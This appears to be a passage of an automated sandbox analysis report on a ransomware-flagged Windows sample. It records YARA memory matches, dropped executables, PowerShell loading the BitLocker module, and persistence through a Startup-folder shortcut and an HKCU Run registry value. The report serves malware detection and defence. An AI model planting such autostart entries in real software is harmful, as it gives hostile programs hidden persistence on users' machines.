                    Source: Yara matchFile source: 13.2.daqfbrlrs.exe.52e90b8.7.raw.unpack, type: UNPACKEDPE
                    Source: Yara matchFile source: 13.2.daqfbrlrs.exe.52e90b8.7.unpack, type: UNPACKEDPE
                    Source: Yara matchFile source: 0000000D.00000002.2596900103.0000000007231000.00000004.00000800.00020000.00000000.sdmp, type: MEMORY
                    Source: Yara matchFile source: 0000000D.00000002.2572125164.0000000005257000.00000004.00000800.00020000.00000000.sdmp, type: MEMORY
                    Source: Yara matchFile source: 0000000D.00000002.2554540962.000000000362B000.00000004.00000800.00020000.00000000.sdmp, type: MEMORY
                    Source: Yara matchFile source: 0000000D.00000002.2554540962.00000000035D1000.00000004.00000800.00020000.00000000.sdmp, type: MEMORY
                    Source: Yara matchFile source: 00000000.00000002.2002984588.00000000065C0000.00000004.08000000.00040000.00000000.sdmp, type: MEMORY
                    Source: Yara matchFile source: 0000000A.00000002.2466687008.0000000003027000.00000004.00000800.00020000.00000000.sdmp, type: MEMORY
                    Source: Yara matchFile source: 00000000.00000002.1991317996.0000000003247000.00000004.00000800.00020000.00000000.sdmp, type: MEMORY
                    Source: Yara matchFile source: Process Memory Space: SecuriteInfo.com.Win32.RansomX-gen.10689.14408.exe PID: 6664, type: MEMORYSTR
                    Source: Yara matchFile source: Process Memory Space: daqfbrlrs.exe PID: 2488, type: MEMORYSTR
                    Source: Yara matchFile source: Process Memory Space: daqfbrlrs.exe PID: 6776, type: MEMORYSTR
                    Source: C:\Users\user\Desktop\SecuriteInfo.com.Win32.RansomX-gen.10689.14408.exeCode function: 0_2_0309E191 push ecx; ret 0_2_0309E194
                    Source: C:\Users\user\Desktop\SecuriteInfo.com.Win32.RansomX-gen.10689.14408.exeCode function: 4_2_02CB54F8 pushfd ; ret 4_2_02CB54F9
                    Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exeCode function: 5_2_046411BD push esp; iretw 5_2_046411D1
                    Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exeCode function: 5_2_0464633D push eax; ret 5_2_04646351
                    Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exeCode function: 5_2_04640B18 push ebp; iretd 5_2_04640B22
                    Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exeCode function: 5_2_083C6F00 pushad ; retf 5_2_083C6F05
                    Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exeCode function: 8_2_03483A8D push ebx; retf 8_2_03483ADA
                    Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exeCode function: 8_2_03483A9C push ebx; retf 8_2_03483ADA
                    Source: C:\Users\user\AppData\Roaming\daqfbrlrs.exeCode function: 10_2_04F4C4E0 push es; ret 10_2_04F4C4F0
                    Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exeCode function: 11_2_0349246B push esp; ret 11_2_03492471
                    Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exeCode function: 11_2_03492C5C push 04B807C5h; retf 11_2_03492CFE
                    Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exeCode function: 11_2_08CF5808 push edx; iretd 11_2_08CF57BE
                    Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exeCode function: 11_2_08CF5803 push esi; iretd 11_2_08CF5806
                    Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exeCode function: 11_2_08CF5801 push esi; iretd 11_2_08CF5802
                    Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exeCode function: 11_2_08CF0DAD push es; iretd 11_2_08CF0DAE
                    Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exeCode function: 11_2_08CF57EC push ebp; iretd 11_2_08CF57EE
                    Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exeCode function: 11_2_08CF57FC push esi; iretd 11_2_08CF57FE
                    Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exeCode function: 11_2_08CF57F0 push esi; iretd 11_2_08CF57FA
                    Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exeCode function: 14_2_0310633D push eax; ret 14_2_03106351
                    Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exeCode function: 14_2_0310629D push eax; ret 14_2_03106351
                    Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exeCode function: 14_2_077D4408 pushfd ; ret 14_2_077D462D
                    Source: C:\Users\user\AppData\Roaming\daqfbrlrs.exeCode function: 16_2_02C31A99 pushfd ; retf 0002h16_2_02C31A9A
                    Source: C:\Users\user\Desktop\SecuriteInfo.com.Win32.RansomX-gen.10689.14408.exeFile created: C:\Users\user\AppData\Roaming\XClient.exeJump to dropped file
                    Source: C:\Users\user\Desktop\SecuriteInfo.com.Win32.RansomX-gen.10689.14408.exeFile created: C:\Users\user\AppData\Roaming\daqfbrlrs.exeJump to dropped file
                    Source: C:\Users\user\Desktop\SecuriteInfo.com.Win32.RansomX-gen.10689.14408.exeFile created: C:\Users\user\AppData\Roaming\Microsoft\Windows\Start Menu\Programs\Startup\XClient.lnkJump to behavior
                    Source: C:\Users\user\Desktop\SecuriteInfo.com.Win32.RansomX-gen.10689.14408.exeFile created: C:\Users\user\AppData\Roaming\Microsoft\Windows\Start Menu\Programs\Startup\XClient.lnkJump to behavior
                    Source: C:\Users\user\Desktop\SecuriteInfo.com.Win32.RansomX-gen.10689.14408.exeRegistry value created or modified: HKEY_CURRENT_USER\SOFTWARE\Microsoft\Windows\CurrentVersion\Run daqfbrlrsJump to behavior
                    Source: C:\Users\user\Desktop\SecuriteInfo.com.Win32.RansomX-gen.10689.14408.exeRegistry value created or modified: HKEY_CURRENT_USER\SOFTWARE\Microsoft\Windows\CurrentVersion\Run daqfbrlrsJump to behavior

                    Hooking and other Techniques for Hiding and Protection

                    barindex
                    Loading BitLocker PowerShell Module
                    Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exeFile opened: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\Modules\BitLocker\BitLocker.psd1Jump to behavior
                    Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exeFile opened: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\Modules\BitLocker\BitLocker.psd1Jump to behavior
                    Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exeFile opened: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\Modules\BitLocker\BitLocker.psd1Jump to behavior
                    Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exeFile opened: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\Modules\BitLocker\en-US\BitLocker.psd1Jump to behavior
                    Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exeFile opened: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\Modules\BitLocker\en-US\BitLocker.psd1Jump to behavior
                    Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exeFile opened: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\Modules\BitLocker\BitLocker.psd1Jump to behavior
                    Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exeFile opened: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\Modules\BitLocker\en-US\BitLocker.psd1Jump to behavior
                    Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exeFile opened: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\Modules\BitLocker\BitLocker.psd1Jump to behavior
                    Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exeFile opened: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\Modules\BitLocker\BitLocker.psd1Jump to behavior
                    Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exeFile opened: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\Modules\BitLocker\BitLocker.psd1Jump to behavior
                    Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exeFile opened: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\Modules\BitLocker\en-US\BitLocker.psd1Jump to behavior
                    Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exeFile opened: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\Modules\BitLocker\en-US\BitLocker.psd1Jump to behavior
                    Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exeFile opened: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\Modules\BitLocker\BitLocker.psd1Jump to behavior
                    Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exeFile opened: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\Modules\BitLocker\en-US\BitLocker.psd1Jump to behavior
                    Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exeFile opened: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\Modules\BitLocker\BitLocker.psd1
                    Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exeFile opened: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\Modules\BitLocker\BitLocker.psd1
                    Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exeFile opened: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\Modules\BitLocker\BitLocker.psd1
                    Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exeFile opened: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\Modules\BitLocker\en-US\BitLocker.psd1
                    Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exeFile opened: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\Modules\BitLocker\en-US\BitLocker.psd1
                    Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exeFile opened: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\Modules\BitLocker\BitLocker.psd1
                    Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exeFile opened: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\Modules\BitLocker\en-US\BitLocker.psd1
                    Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exeFile opened: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\Modules\BitLocker\BitLocker.psd1
                    Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exeFile opened: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\Modules\BitLocker\BitLocker.psd1
                    Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exeFile opened: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\Modules\BitLocker\BitLocker.psd1
                    Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exeFile opened: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\Modules\BitLocker\en-US\BitLocker.psd1
                    Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exeFile opened: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\Modules\BitLocker\en-US\BitLocker.psd1
                    Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exeFile opened: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\Modules\BitLocker\BitLocker.psd1
                    Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exeFile opened: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\Modules\BitLocker\en-US\BitLocker.psd1
                    Source: C:\Users\user\Desktop\SecuriteInfo.com.Win32.RansomX-gen.10689.14408.exeProcess information set: NOOPENFILEERRORBOXJump to behavior
                    Source: C:\Users\user\Desktop\SecuriteInfo.com.Win32.RansomX-gen.10689.14408.exeProcess information set: NOOPENFILEERRORBOXJump to behavior
                    Source: C:\Users\user\Desktop\SecuriteInfo.com.Win32.RansomX-gen.10689.14408.exeProcess information set: NOOPENFILEERRORBOXJump to behavior
                    Source: C:\Users\user\Desktop\SecuriteInfo.com.Win32.RansomX-gen.10689.14408.exeProcess information set: NOOPENFILEERRORBOXJump to behavior
                    Source: C:\Users\user\Desktop\SecuriteInfo.com.Win32.RansomX-gen.10689.14408.exeProcess information set: NOOPENFILEERRORBOXJump to behavior
                    Source: C:\Users\user\Desktop\SecuriteInfo.com.Win32.RansomX-gen.10689.14408.exeProcess information set: NOOPENFILEERRORBOXJump to behavior
                    Source: C:\Users\user\Desktop\SecuriteInfo.com.Win32.RansomX-gen.10689.14408.exeProcess information set: NOOPENFILEERRORBOXJump to behavior
                    Source: C:\Users\user\Desktop\SecuriteInfo.com.Win32.RansomX-gen.10689.14408.exeProcess information set: NOOPENFILEERRORBOXJump to behavior
                    Source: C:\Users\user\Desktop\SecuriteInfo.com.Win32.RansomX-gen.10689.14408.exeProcess information set: NOOPENFILEERRORBOXJump to behavior
                    Source: C:\Users\user\Desktop\SecuriteInfo.com.Win32.RansomX-gen.10689.14408.exeProcess information set: NOOPENFILEERRORBOXJump to behavior
                    Source: C:\Users\user\Desktop\SecuriteInfo.com.Win32.RansomX-gen.10689.14408.exeProcess information set: NOOPENFILEERRORBOXJump to behavior
                    Source: C:\Users\user\Desktop\SecuriteInfo.com.Win32.RansomX-gen.10689.14408.exeProcess information set: NOOPENFILEERRORBOXJump to behavior
                    Source: C:\Users\user\Desktop\SecuriteInfo.com.Win32.RansomX-gen.10689.14408.exeProcess information set: NOOPENFILEERRORBOXJump to behavior
                    Source: C:\Users\user\Desktop\SecuriteInfo.com.Win32.RansomX-gen.10689.14408.exeProcess information set: NOOPENFILEERRORBOXJump to behavior
                    Source: C:\Users\user\Desktop\SecuriteInfo.com.Win32.RansomX-gen.10689.14408.exeProcess information set: NOOPENFILEERRORBOXJump to behavior
                    Source: C:\Users\user\Desktop\SecuriteInfo.com.Win32.RansomX-gen.10689.14408.exeProcess information set: NOOPENFILEERRORBOXJump to behavior
                    Source: C:\Users\user\Desktop\SecuriteInfo.com.Win32.RansomX-gen.10689.14408.exeProcess information set: NOOPENFILEERRORBOXJump to behavior
                    Source: C:\Users\user\Desktop\SecuriteInfo.com.Win32.RansomX-gen.10689.14408.exeProcess information set: NOOPENFILEERRORBOXJump to behavior
                    Source: C:\Users\user\Desktop\SecuriteInfo.com.Win32.RansomX-gen.10689.14408.exeProcess information set: NOOPENFILEERRORBOXJump to behavior
                    Source: C:\Users\user\Desktop\SecuriteInfo.com.Win32.RansomX-gen.10689.14408.exeProcess information set: NOOPENFILEERRORBOXJump to behavior
                    Source: C:\Users\user\Desktop\SecuriteInfo.com.Win32.RansomX-gen.10689.14408.exeProcess information set: NOOPENFILEERRORBOXJump to behavior
                    Source: C:\Users\user\Desktop\SecuriteInfo.com.Win32.RansomX-gen.10689.14408.exeProcess information set: NOOPENFILEERRORBOXJump to behavior
                    Source: C:\Users\user\Desktop\SecuriteInfo.com.Win32.RansomX-gen.10689.14408.exeProcess information set: NOOPENFILEERRORBOXJump to behavior
                    Source: C:\Users\user\Desktop\SecuriteInfo.com.Win32.RansomX-gen.10689.14408.exeProcess information set: NOOPENFILEERRORBOXJump to behavior
                    Source: C:\Users\user\Desktop\SecuriteInfo.com.Win32.RansomX-gen.10689.14408.exeProcess information set: NOOPENFILEERRORBOXJump to behavior
                    Source: C:\Users\user\Desktop\SecuriteInfo.com.Win32.RansomX-gen.10689.14408.exeProcess information set: NOOPENFILEERRORBOXJump to behavior
                    Source: C:\Users\user\Desktop\SecuriteInfo.com.Win32.RansomX-gen.10689.14408.exeProcess information set: NOOPENFILEERRORBOXJump to behavior
                    Source: C:\Users\user\Desktop\SecuriteInfo.com.Win32.RansomX-gen.10689.14408.exeProcess information set: NOOPENFILEERRORBOXJump to behavior
                    Source: C:\Users\user\Desktop\SecuriteInfo.com.Win32.RansomX-gen.10689.14408.exeProcess information set: NOOPENFILEERRORBOXJump to behavior
                    Source: C:\Users\user\Desktop\SecuriteInfo.com.Win32.RansomX-gen.10689.14408.exeProcess information set: NOOPENFILEERRORBOXJump to behavior
                    Source: C:\Users\user\Desktop\SecuriteInfo.com.Win32.RansomX-gen.10689.14408.exeProcess information set: NOOPENFILEERRORBOXJump to behavior
                    Source: C:\Users\user\Desktop\SecuriteInfo.com.Win32.RansomX-gen.10689.14408.exeProcess information set: NOOPENFILEERRORBOXJump to behavior
                    Source: C:\Users\user\Desktop\SecuriteInfo.com.Win32.RansomX-gen.10689.14408.exeProcess information set: NOOPENFILEERRORBOXJump to behavior
                    Source: C:\Users\user\Desktop\SecuriteInfo.com.Win32.RansomX-gen.10689.14408.exeProcess information set: NOOPENFILEERRORBOXJump to behavior
                    Source: C:\Users\user\Desktop\SecuriteInfo.com.Win32.RansomX-gen.10689.14408.exeProcess information set: NOOPENFILEERRORBOXJump to behavior
                    Source: C:\Users\user\Desktop\SecuriteInfo.com.Win32.RansomX-gen.10689.14408.exeProcess information set: NOOPENFILEERRORBOXJump to behavior
                    Source: C:\Users\user\Desktop\SecuriteInfo.com.Win32.RansomX-gen.10689.14408.exeProcess information set: NOOPENFILEERRORBOXJump to behavior
                    Source: C:\Users\user\Desktop\SecuriteInfo.com.Win32.RansomX-gen.10689.14408.exeProcess information set: NOOPENFILEERRORBOXJump to behavior
                    Source: C:\Users\user\Desktop\SecuriteInfo.com.Win32.RansomX-gen.10689.14408.exeProcess information set: NOOPENFILEERRORBOXJump to behavior
                    Source: C:\Users\user\Desktop\SecuriteInfo.com.Win32.RansomX-gen.10689.14408.exeProcess information set: NOOPENFILEERRORBOXJump to behavior
                    Source: C:\Users\user\Desktop\SecuriteInfo.com.Win32.RansomX-gen.10689.14408.exeProcess information set: NOOPENFILEERRORBOXJump to behavior
                    Source: C:\Users\user\Desktop\SecuriteInfo.com.Win32.RansomX-gen.10689.14408.exeProcess information set: NOOPENFILEERRORBOXJump to behavior
                    Source: C:\Users\user\Desktop\SecuriteInfo.com.Win32.RansomX-gen.10689.14408.exeProcess information set: NOOPENFILEERRORBOXJump to behavior
                    Source: C:\Users\user\Desktop\SecuriteInfo.com.Win32.RansomX-gen.10689.14408.exeProcess information set: NOOPENFILEERRORBOXJump to behavior
                    Source: C:\Users\user\Desktop\SecuriteInfo.com.Win32.RansomX-gen.10689.14408.exeProcess information set: NOOPENFILEERRORBOXJump to behavior
                    Source: C:\Users\user\Desktop\SecuriteInfo.com.Win32.RansomX-gen.10689.14408.exeProcess information set: NOOPENFILEERRORBOXJump to behavior
                    Source: C:\Users\user\Desktop\SecuriteInfo.com.Win32.RansomX-gen.10689.14408.exeProcess information set: NOOPENFILEERRORBOXJump to behavior
                    Source: C:\Users\user\Desktop\SecuriteInfo.com.Win32.RansomX-gen.10689.14408.exeProcess information set: NOOPENFILEERRORBOXJump to behavior
                    Source: C:\Users\user\Desktop\SecuriteInfo.com.Win32.RansomX-gen.10689.14408.exeProcess information set: NOOPENFILEERRORBOXJump to behavior
                    Source: C:\Users\user\Desktop\SecuriteInfo.com.Win32.RansomX-gen.10689.14408.exeProcess information set: NOOPENFILEERRORBOXJump to behavior
                    Source: C:\Users\user\Desktop\SecuriteInfo.com.Win32.RansomX-gen.10689.14408.exeProcess information set: NOOPENFILEERRORBOXJump to behavior
                    Source: C:\Users\user\Desktop\SecuriteInfo.com.Win32.RansomX-gen.10689.14408.exeProcess information set: NOOPENFILEERRORBOXJump to behavior
                    Source: C:\Users\user\Desktop\SecuriteInfo.com.Win32.RansomX-gen.10689.14408.exeProcess information set: NOOPENFILEERRORBOXJump to behavior
                    Source: C:\Users\user\Desktop\SecuriteInfo.com.Win32.RansomX-gen.10689.14408.exeProcess information set: NOOPENFILEERRORBOXJump to behavior
                    Source: C:\Users\user\Desktop\SecuriteInfo.com.Win32.RansomX-gen.10689.14408.exeProcess information set: NOOPENFILEERRORBOXJump to behavior
                    Source: C:\Users\user\Desktop\SecuriteInfo.com.Win32.RansomX-gen.10689.14408.exeProcess information set: NOOPENFILEERRORBOXJump to behavior
                    Source: C:\Users\user\Desktop\SecuriteInfo.com.Win32.RansomX-gen.10689.14408.exeProcess information set: NOOPENFILEERRORBOXJump to behavior
                    Source: C:\Users\user\Desktop\SecuriteInfo.com.Win32.RansomX-gen.10689.14408.exeProcess information set: NOOPENFILEERRORBOXJump to behavior
                    Source: C:\Users\user\Desktop\SecuriteInfo.com.Win32.RansomX-gen.10689.14408.exeProcess information set: NOOPENFILEERRORBOXJump to behavior
                    Source: C:\Users\user\Desktop\SecuriteInfo.com.Win32.RansomX-gen.10689.14408.exeProcess information set: NOOPENFILEERRORBOXJump to behavior
                    Source: C:\Users\user\Desktop\SecuriteInfo.com.Win32.RansomX-gen.10689.14408.exeProcess information set: NOOPENFILEERRORBOXJump to behavior
                    Source: C:\Users\user\Desktop\SecuriteInfo.com.Win32.RansomX-gen.10689.14408.exeProcess information set: NOOPENFILEERRORBOXJump to behavior
                    Source: C:\Users\user\Desktop\SecuriteInfo.com.Win32.RansomX-gen.10689.14408.exeProcess information set: NOOPENFILEERRORBOXJump to behavior
                    Source: C:\Users\user\Desktop\SecuriteInfo.com.Win32.RansomX-gen.10689.14408.exeProcess information set: NOOPENFILEERRORBOXJump to behavior
                    Source: C:\Users\user\Desktop\SecuriteInfo.com.Win32.RansomX-gen.10689.14408.exeProcess information set: NOOPENFILEERRORBOXJump to behavior
                    Source: C:\Users\user\Desktop\SecuriteInfo.com.Win32.RansomX-gen.10689.14408.exeProcess information set: NOOPENFILEERRORBOXJump to behavior
                    Source: C:\Users\user\Desktop\SecuriteInfo.com.Win32.RansomX-gen.10689.14408.exeProcess information set: NOOPENFILEERRORBOXJump to behavior
                    Source: C:\Users\user\Desktop\SecuriteInfo.com.Win32.RansomX-gen.10689.14408.exeProcess information set: NOOPENFILEERRORBOXJump to behavior
                    Source: C:\Users\user\Desktop\SecuriteInfo.com.Win32.RansomX-gen.10689.14408.exeProcess information set: NOOPENFILEERRORBOXJump to behavior
                    Source: C:\Users\user\Desktop\SecuriteInfo.com.Win32.RansomX-gen.10689.14408.exeProcess information set: NOOPENFILEERRORBOXJump to behavior
                    Source: C:\Users\user\Desktop\SecuriteInfo.com.Win32.RansomX-gen.10689.14408.exeProcess information set: NOOPENFILEERRORBOXJump to behavior
                    Source: C:\Users\user\Desktop\SecuriteInfo.com.Win32.RansomX-gen.10689.14408.exeProcess information set: NOOPENFILEERRORBOXJump to behavior
                    Source: C:\Users\user\Desktop\SecuriteInfo.com.Win32.RansomX-gen.10689.14408.exeProcess information set: NOOPENFILEERRORBOXJump to behavior
                    Source: C:\Users\user\Desktop\SecuriteInfo.com.Win32.RansomX-gen.10689.14408.exeProcess information set: NOOPENFILEERRORBOXJump to behavior
                    Source: C:\Users\user\Desktop\SecuriteInfo.com.Win32.RansomX-gen.10689.14408.exeProcess information set: NOOPENFILEERRORBOXJump to behavior
                    Source: C:\Users\user\Desktop\SecuriteInfo.com.Win32.RansomX-gen.10689.14408.exeProcess information set: NOOPENFILEERRORBOXJump to behavior
                    Source: C:\Users\user\Desktop\SecuriteInfo.com.Win32.RansomX-gen.10689.14408.exeProcess information set: NOOPENFILEERRORBOXJump to behavior
                    Source: C:\Users\user\Desktop\SecuriteInfo.com.Win32.RansomX-gen.10689.14408.exeProcess information set: NOOPENFILEERRORBOXJump to behavior
                    Source: C:\Users\user\Desktop\SecuriteInfo.com.Win32.RansomX-gen.10689.14408.exeProcess information set: NOOPENFILEERRORBOXJump to behavior
                    Source: C:\Users\user\Desktop\SecuriteInfo.com.Win32.RansomX-gen.10689.14408.exeProcess information set: NOOPENFILEERRORBOXJump to behavior
                    Source: C:\Users\user\Desktop\SecuriteInfo.com.Win32.RansomX-gen.10689.14408.exeProcess information set: NOOPENFILEERRORBOXJump to behavior
                    Source: C:\Users\user\Desktop\SecuriteInfo.com.Win32.RansomX-gen.10689.14408.exeProcess information set: NOOPENFILEERRORBOXJump to behavior
                    Source: C:\Users\user\Desktop\SecuriteInfo.com.Win32.RansomX-gen.10689.14408.exeProcess information set: NOOPENFILEERRORBOXJump to behavior
                    Source: C:\Users\user\Desktop\SecuriteInfo.com.Win32.RansomX-gen.10689.14408.exeProcess information set: NOOPENFILEERRORBOXJump to behavior
                    Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exeProcess information set: NOOPENFILEERRORBOXJump to behavior
                    Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exeProcess information set: NOOPENFILEERRORBOXJump to behavior
                    Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exeProcess information set: NOOPENFILEERRORBOXJump to behavior
                    Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exeProcess information set: NOOPENFILEERRORBOXJump to behavior
                    Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exeProcess information set: NOOPENFILEERRORBOXJump to behavior
                    Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exeProcess information set: NOOPENFILEERRORBOXJump to behavior
                    Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exeProcess information set: NOOPENFILEERRORBOXJump to behavior
                    Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exeProcess information set: NOOPENFILEERRORBOXJump to behavior
                    Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exeProcess information set: NOOPENFILEERRORBOXJump to behavior
                    Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exeProcess information set: NOOPENFILEERRORBOXJump to behavior
                    Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exeProcess information set: NOOPENFILEERRORBOXJump to behavior
                    Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exeProcess information set: NOOPENFILEERRORBOXJump to behavior
                    Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exeProcess information set: NOOPENFILEERRORBOXJump to behavior
                    Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exeProcess information set: NOOPENFILEERRORBOXJump to behavior
                    Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exeProcess information set: NOOPENFILEERRORBOXJump to behavior
                    Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exeProcess information set: NOOPENFILEERRORBOXJump to behavior
                    Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exeProcess information set: NOOPENFILEERRORBOXJump to behavior
                    Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exeProcess information set: NOOPENFILEERRORBOXJump to behavior
                    Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exeProcess information set: NOOPENFILEERRORBOXJump to behavior
                    Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exeProcess information set: NOOPENFILEERRORBOXJump to behavior
                    Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exeProcess information set: NOOPENFILEERRORBOXJump to behavior
                    Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exeProcess information set: NOOPENFILEERRORBOXJump to behavior
                    Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exeProcess information set: NOOPENFILEERRORBOXJump to behavior
                    Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exeProcess information set: NOOPENFILEERRORBOXJump to behavior
                    Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exeProcess information set: NOOPENFILEERRORBOXJump to behavior
                    Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exeProcess information set: NOOPENFILEERRORBOXJump to behavior
                    Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exeProcess information set: NOOPENFILEERRORBOXJump to behavior
                    Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exeProcess information set: NOOPENFILEERRORBOXJump to behavior
                    Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exeProcess information set: NOOPENFILEERRORBOXJump to behavior
                    Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exeProcess information set: NOOPENFILEERRORBOXJump to behavior
                    Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exeProcess information set: NOOPENFILEERRORBOXJump to behavior
                    Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exeProcess information set: NOOPENFILEERRORBOXJump to behavior
                    Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exeProcess information set: NOOPENFILEERRORBOXJump to behavior
                    Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exeProcess information set: NOOPENFILEERRORBOXJump to behavior
                    Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exeProcess information set: NOOPENFILEERRORBOXJump to behavior
                    Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exeProcess information set: NOOPENFILEERRORBOXJump to behavior
                    Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exeProcess information set: NOOPENFILEERRORBOXJump to behavior
                    Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exeProcess information set: NOOPENFILEERRORBOXJump to behavior
                    Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exeProcess information set: NOOPENFILEERRORBOXJump to behavior
                    Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exeProcess information set: NOOPENFILEERRORBOXJump to behavior
                    Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exeProcess information set: NOOPENFILEERRORBOXJump to behavior
                    Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exeProcess information set: NOOPENFILEERRORBOXJump to behavior
